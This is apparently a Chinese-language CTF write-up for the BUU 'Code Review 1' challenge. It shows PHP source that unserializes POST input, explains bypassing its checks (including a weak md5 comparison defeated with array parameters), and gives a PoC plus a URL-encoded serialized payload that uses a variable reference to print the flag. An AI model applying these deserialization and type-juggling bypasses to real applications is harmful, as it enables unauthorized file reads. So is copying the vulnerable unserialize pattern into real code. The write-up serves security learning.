BUU CODE REVIEW 1

考点：PHP变量引用

源码直接给了

<?php

highlight_file(__FILE__);

class BUU {
   public $correct = "";
   public $input = "";

   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}

if($_GET['pleaseget'] === '1') {
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}

我们最后一步肯定是BUU类中__destruct()构造方法中的语句echo file_get_contents("/flag");

---

分析代码，我们需要先绕过三个if语句，使得我们能成功反序列化obj变量

绕过第一、第二个if：

?pleaseget=1              //GET
pleasepost=2                //POST

绕过第三个if：

if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52'])

要求我们POST提交的参数md51和md52值不相同但是md5编码后弱相等。

我们可以0e碰撞绕过也可以用数组绕过。

md51[]=1&md52[]=2          //POST

---

成功反序列化之后，我们要满足if($this->correct === $this->input) 判断条件才能给flag。

类中属性correct在判断之前有被赋值：$this->correct = base64_encode(uniqid());

uniqid()函数：获取一个带前缀、基于当前时间微秒数的唯一ID。

所以说类中属性correct每一微秒都在改变，我们无法实际预测其具体的值。

如果要满足$this->correct === $this->input的话，我们只能使用变量引用

变量引用原理类似于C语言中的指针，使两个变量指向同一个地址，那么两个变量值就一定相等了。

POC：

<?php
class BUU {
    public $correct = "";
    public $input = "";
    public function __construct() {
        $this->input=&$this->correct;     //input的地址就是correct的地址。不管correct怎么变，input都等于correct。
    }

}

$a=new BUU();
echo urlencode(serialize($a));

?>

payload：

obj=O%3A3%3A%22BUU%22%3A2%3A%7Bs%3A7%3A%22correct%22%3Bs%3A0%3A%22%22%3Bs%3A5%3A%22input%22%3BR%3A2%3B%7D        //POST